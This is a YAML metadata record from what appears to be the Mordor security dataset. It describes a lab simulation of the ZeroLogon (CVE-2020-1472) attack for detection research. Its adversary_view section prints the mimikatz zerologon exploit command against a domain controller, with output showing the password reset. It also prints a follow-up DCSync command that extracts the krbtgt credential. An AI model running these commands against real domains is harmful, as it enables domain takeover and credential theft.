title: Mimikatz Netlogon Unauthenticated NetrServerAuthenticate2
id: SDWIN-200916232559
author: Roberto Rodriguez @Cyb3rWard0g
creation_date: 2020/09/16
modification_date: 2020/09/16
platform: Windows
tags:
  - CVE-2020-1472
  - Password Update
  - Netlogon Insecure AES-CFB8
description: This dataset represents adversaries leveraging a vulnerability (CVE-2020-1472) in a cryptographic authentication scheme used by the Netlogon Remote Protocol, which among other things can be used to update computer passwords. This vulnerability was discovered by [@@SecuraBV](https://twitter.com/SecuraBV).
attack_mappings:
  - technique: T1210
    sub-technique:
    tactics:
      - TA0008
notebooks:
files:
- type: Host
  link: https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/host/mimikatz_CVE-2020-1472_Unauthenticated_NetrServerAuthenticate2.zip
- type: Network
  link: https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/lateral_movement/network/mimikatz_CVE-2020-1472_Unauthenticated_NetrServerAuthenticate2.zip
simulation:
  environment: Mordor shire
  tools:
    - type: C2
      name: Covenant
      module: ShellCmd
      script: https://github.com/cobbr/Covenant/blob/7555b19ffb9401c0e37094c25e404a640b1688d7/Covenant/Data/Tasks/SharpSploit.Execution.yaml#L96
    - type: tool
      name: mimikatz
      module: lsadump
      script: https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L23
    - type: tool
      name: SharpZeroLogon
      module: SharpZeroLogon
      script: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
  permissions_required:
    - User 
  adversary_view: |-
    Mimikatz Implementation (NetrServerAuthenticate2)
    =================================================

    (wardog) > ShellCmd /shellcommand:"C:\Users\pgustavo\Downloads\mimikatz_trunk\x64\mimikatz.exe \"lsadump::zerologon /target:MORDORDC.theshire.local /account:MORDORDC$ /exploit\" exit"

      .#####.   mimikatz 2.2.0 (x64) #19041 Sep 16 2020 12:02:22
    .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
    ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
    ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
    '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
      '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/


    mimikatz(commandline) # lsadump::zerologon /target:MORDORDC.theshire.local /account:MORDORDC$ /exploit
    
    Target : MORDORDC.theshire.local
    Account: MORDORDC$
    Type   : 6 (Server)
    Mode   : exploit

    Trying to 'authenticate'...
    ====================================================

    NetrServerAuthenticate2: 0x00000000
    NetrServerPasswordSet2 : 0x00000000

    * Authentication: OK -- vulnerable
    * Set password  : OK -- may be unstable

    mimikatz(commandline) # exit

    Bye!

    DCSync Follow-up (Optional)
    (wardog) > ShellCmd /shellcommand:"C:\Users\pgustavo\Downloads\mimikatz_trunk\x64\mimikatz.exe \"lsadump::dcsync /domain:theshire.local /dc:MORDORDC.theshire.local /user:krbtgt /authuser:MORDORDC$ /authdomain:theshire /authpassword:\\"\\" /authntlm\" exit"
references:
  - https://www.secura.com/blog/zero-logon
  - https://www.secura.com/pathtoimg.php?id=2055
  - https://twitter.com/gentilkiwi/status/1306178689630076929
  - https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
  - https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc#theGroupPolicy